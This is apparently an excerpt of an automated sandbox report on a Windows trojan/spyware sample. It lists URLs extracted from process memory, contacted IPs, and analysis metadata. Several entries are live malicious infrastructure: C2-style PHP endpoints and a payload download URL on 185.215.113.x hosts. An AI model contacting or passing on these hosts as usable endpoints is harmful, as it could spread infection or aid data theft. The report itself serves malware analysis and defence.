https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000003.3160757201.000001E16E257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3338221012.000001E16D900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3160103632.000001E16E23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159161146.000001E16E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2https:	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000019.00000002.3308646555.000001E169826000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php1001	skotes.exe, 00000006.00000003.4050098560.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4236336443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://exslt.org/dates-and-times	firefox.exe, 00000019.00000002.3308646555.000001E169859000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E1778A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000019.00000002.3363807064.000001E17022F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17022F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17000B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FFCE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334964070.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3336326021.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3353094912.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3341331944.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3347292005.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3343840223.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3330875172.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3337881187.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3339658093.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3333555796.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3352543746.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335509270.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3350539115.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351341626.0000000001661000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3331737743.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3344628486.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334373074.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351939938.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3317244696.0000000001662000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	c9ac8940e6.exe, 0000000A.00000003.3746432077.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3766637179.000000000164F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3764496783.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000019.00000002.3378267040.000001E171723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/Z	firefox.exe, 00000019.00000002.3415085097.00002CC258A00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334964070.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3336326021.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3353094912.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3341331944.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3347292005.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3343840223.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3330875172.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3337881187.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3339658093.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3333555796.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3352543746.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335509270.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3350539115.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351341626.0000000001661000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3331737743.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3344628486.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334373074.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3289641174.0000000001674000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351939938.0000000001662000.00000004.00000020.00020000.00000000.sdmp	false		high
https://getpocket.com/recommendationsEnable	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 00000019.00000002.3378267040.000001E171707000.00000004.00000800.00020000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 00000019.00000002.3404355837.000001E17784F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E171707000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3381431417.000001E1719C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3381431417.000001E1719C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php25	194fcc03d1.exe, 00000009.00000002.3658430025.0000000024128000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000019.00000002.3378267040.000001E171723000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000019.00000002.3353622978.000001E16F163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3341632616.000001E16DF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000019.00000002.3318892464.000001E16A346000.00000004.00000800.00020000.00000000.sdmp	false		high
https://e.mail.ru/cgi-bin/sentmsg?mailto=%sget	firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	false		high
https://spocs.getpocket.com/Endpoint	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/0	c9ac8940e6.exe, 0000000A.00000002.3766637179.00000000015F4000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3478494612.00000000015F1000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3746432077.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.olx.pl/	firefox.exe, 00000019.00000002.3395678334.000001E176611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sFailed	firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000019.00000003.3231631580.000001E178123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpr1	194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/complete/	firefox.exe, 00000019.00000002.3395678334.000001E176611000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/get	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 00000019.00000002.3408848353.000001E178103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/account_getBoundsWithoutFlushing.panel-header	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.avito.ru/	firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-j	firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	false		high
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com	firefox.exe, 00000019.00000002.3401458060.000001E176877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E17787A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.165.220.66	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.91.222.61	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.209.72.7	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561790
Start date and time:	2024-11-24 10:22:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@113/24@81/22
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.19.227, 172.217.17.46, 74.125.205.84, 172.217.17.42, 142.250.181.74, 172.217.19.234, 142.250.181.10, 172.217.19.170, 172.217.17.74, 142.250.181.42, 172.217.19.202, 216.58.208.234, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 172.217.19.238, 13.107.6.158, 172.165.69.228, 23.216.77.175, 23.216.77.152, 2.16.158.74, 2.16.158.80, 2.16.158.96, 2.16.158.83, 2.16.158.73, 2.16.158.88, 2.16.158.82, 2.16.158.169, 2.16.158.90, 23.32.238.145, 23.32.238.161, 2.16.158.170, 2.16.158.89, 2.16.158.91, 23.207.210.154, 23.207.210.156, 204.79.197.237, 13.107.21.237, 13.74.129.1, 13.87.96.169, 23.52.181.141, 172.217.21.35, 2.20.41.214, 23.200.87.12, 142.251.32.99, 142.251.35.163
Excluded domains from analysis (whitelisted): img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, a19.dscg10.akamai.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, www.youtube.com, normandy-cdn.services.mozilla.com, www.bing.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, dyna.wikimedia.org, normandy.cdn.mozilla.net, wildcardtlu-ssl.azureedge.net, youtube-ui.l.google.com, edgedl.me.gvt1.com, reddit.map.fastly.net, c.bing.com, clients.l.google.com, www.reddit.com, content-signature-2.cdn.mozilla.net, go.microsoft.com, www.bing.com.edgekey.net, push.services.mozilla.com, safebrowsing.googlea
Execution Graph export aborted for target c9ac8940e6.exe, PID 5136 because there are no executed function
Execution Graph export aborted for target file.exe, PID 3192 because it is empty
Execution Graph export aborted for target skotes.exe, PID 5400 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6152 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
